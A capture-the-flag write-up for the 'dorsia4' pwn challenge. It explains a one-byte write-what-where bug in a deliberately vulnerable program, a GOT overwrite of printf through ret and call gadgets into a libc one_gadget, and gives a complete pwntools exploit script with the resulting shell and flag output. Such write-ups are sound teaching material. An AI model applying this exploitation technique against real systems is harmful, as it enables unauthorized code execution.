dorsia4 (400pt PWN, 5 Solves), author: @awg
#include<stdio.h> #include<stdlib.h> char a[69]; int i, d; void main() { char b[69] = {0}; for(;;) { printf("%p giv i b\n", system+765772); scanf("%i %x", &i, &d); if (i>69) break; a[i] = d; } }
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : Partial
An obvious write-what-where, one byte at a time.
The char
array a[]
is at the .bss
section of the binary, starting from offset 0x4080
.
I read from the man page of scanf()
:
i Matches an optionally signed integer; the next pointer must be a pointer to int. The integer is read in base 16 if it begins with 0x or 0X, in base 8 if it begins with 0, and in base 10 otherwise. Only characters that correspond to the base are used.
This means we could put negative values into i
. Since it’s partial RELRO, one natural target to overwrite is the .got.plt
section.
We still need scanf()
to receive our payload, so we change the GOT value of printf()
instead. In the given libc (libc6_2.27-3ubuntu1_amd64), printf()
is at offset 0x064e80
.
After bunching my head against the wall for a few hours, I found this interesting gadget at offset 0x6576b
: call qword [rdx + rax*8]
. How is it useful? Take a look at the disassembly of the for
loop body:
0x000000000000119c <+83>: mov rax,QWORD PTR [rip+0x2e35] # 0x3fd8
0x00000000000011a3 <+90>: lea rax,[rax+0xbaf4c]
0x00000000000011aa <+97>: mov rsi,rax
0x00000000000011ad <+100>: lea rdi,[rip+0xe50] # 0x2004
0x00000000000011b4 <+107>: mov eax,0x0
0x00000000000011b9 <+112>: call 0x1030 <printf@plt>
0x00000000000011be <+117>: lea rdx,[rip+0x2e9b] # 0x4060 <d>
0x00000000000011c5 <+124>: lea rsi,[rip+0x2efc] # 0x40c8 <i>
0x00000000000011cc <+131>: lea rdi,[rip+0xe3d] # 0x2010
0x00000000000011d3 <+138>: mov eax,0x0
0x00000000000011d8 <+143>: call 0x1040 <__isoc99_scanf@plt>
0x00000000000011dd <+148>: mov eax,DWORD PTR [rip+0x2ee5] # 0x40c8 <i>
0x00000000000011e3 <+154>: cmp eax,0x45
0x00000000000011e6 <+157>: jg 0x1204 <main+187>
0x00000000000011e8 <+159>: mov edx,DWORD PTR [rip+0x2e72] # 0x4060 <d>
0x00000000000011ee <+165>: mov eax,DWORD PTR [rip+0x2ed4] # 0x40c8 <i>
0x00000000000011f4 <+171>: mov ecx,edx
0x00000000000011f6 <+173>: cdqe
0x00000000000011f8 <+175>: lea rdx,[rip+0x2e81] # 0x4080 <a>
0x00000000000011ff <+182>: mov BYTE PTR [rax+rdx*1],cl
0x0000000000001202 <+185>: jmp 0x119c <main+83>
Whenever the gadget is used (namely whenever we reach printf()
), %rdx will contain the address of array a[]
, and %rax will be zero. This means, if we write some address at the beginning of a[]
, then call qword [rdx + rax*8]
allows us to call whatever addresses we want!
One remaining trouble though: printf()
is at offset 0x064e80
, the call
gadget is at 0x6576b
, we need to change two bytes, one byte at a time (ASLR is on, for simplicity we consider no carrying between bytes, which we will take care of in the script). I have to first change 0x064e80
to either 0x064e6b
or 0x065780
. This can cause trouble if they point at weird locations, remember after each time we modify one byte, that modified address will be called in the for
loop.
And here’s the black magic of it:
0x064e6b
points at a ret
instruction! This means we can safely let it to be called without worrying about it will crash or whatsoever.
Here’s the plan, we:
1) Write the address of one_gadget to the first 8 bytes of a[]
;
2) Change the GOT entry of printf()
to point at ret
gadget at offset 0x064e6b
;
3) Change it again to point at call qword [rdx + rax*8]
.
But when I finished my exploit and ran it locally, it caused a SIGABORT
. After some debugging I figured out it was because that one_gadget given to us requires [rsp+0x70]
to be zero, which was not the case.
So instead I used another one_gadget at offset 0x4f322
, requiring [rsp+0x40]
to be zero, which was the case, since it points into b[69]
on the stack, initialized to all zeroes.
Finally, here’s a working script:
from pwn import * context.log_level = "DEBUG" LOCAL = False DEBUG = False e = ELF("./nanowrite") l = ELF("./libc.so.6") if LOCAL: p = process(e.path) else: host = "dorsia4.wpictf.xyz" port = 31339 p = remote(host, port) if DEBUG: context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p, "b *0x00005555555551b9") # call to printf leak = p.recvline() bad_one_gadget_addr = int(leak.split(b" ")[0], 16) system_addr = bad_one_gadget_addr - 765772 libc_base_addr = system_addr - l.symbols["system"] real_one_gadget_addr = libc_base_addr + 0x4f322 success("libc base address: {0}".format(hex(libc_base_addr))) def nanowrite(what, where): payload = str(where).encode() payload += b' ' payload += hex(what).encode() success("Sending {0} to a[] {1}".format(hex(what), hex(where))) p.sendline(payload) offset = e.got["printf"] - e.symbols["a"] libc_printf_addr = libc_base_addr + l.symbols["printf"] def write_one_gadget(): o1 = real_one_gadget_addr & 0xff # lowest o2 = (real_one_gadget_addr & 0xff00) >> 8 o3 = (real_one_gadget_addr & 0xffff00) >> 16 o4 = (real_one_gadget_addr & 0xffffff00) >> 24 o5 = (real_one_gadget_addr & 0xffffffff00) >> 32 o6 = (real_one_gadget_addr & 0xffffffffff00) >> 40 # highest log.info("Writing address of one_gadget to a[]") if DEBUG: input() nanowrite(o1, 0) p.recvline() nanowrite(o2, 1) p.recvline() nanowrite(o3, 2) p.recvline() nanowrite(o4, 3) p.recvline() nanowrite(o5, 4) p.recvline() nanowrite(o6, 5) p.recvline() def change_first_byte(): # from 0x06 4e 80 # to 0x06 4e 6b now = libc_printf_addr what = 0x6b where = offset nanowrite(what, where) def change_second_byte(): # from 0x06 4e 6b # to 0x06 57 6b now = libc_base_addr + 0x064e6b what = ((libc_base_addr + 0x06576b) & 0xff00) >> 8 where = offset + 1 assert(((now & 0xff00) >> 8) + (0x57 - 0x4e) <= 0xff) nanowrite(what, where) if __name__ == "__main__": write_one_gadget() log.info("Changing printf() to ret gadget") if DEBUG: input() change_first_byte() log.info("Changing ret gadget to call gadget") if DEBUG: input() change_second_byte() p.interactive()
You may need to run it a couple of times to pass that assertion.
[*] Switching to interactive mode
$ whoami
ctf
$ ls
flag.txt
nanowrite
run_problem.sh
$ cat flag.txt
WPI{D0_you_like_Hu3y_Lew1s_&_the_News?}
Thanks @awg again for creating this interesting challenge!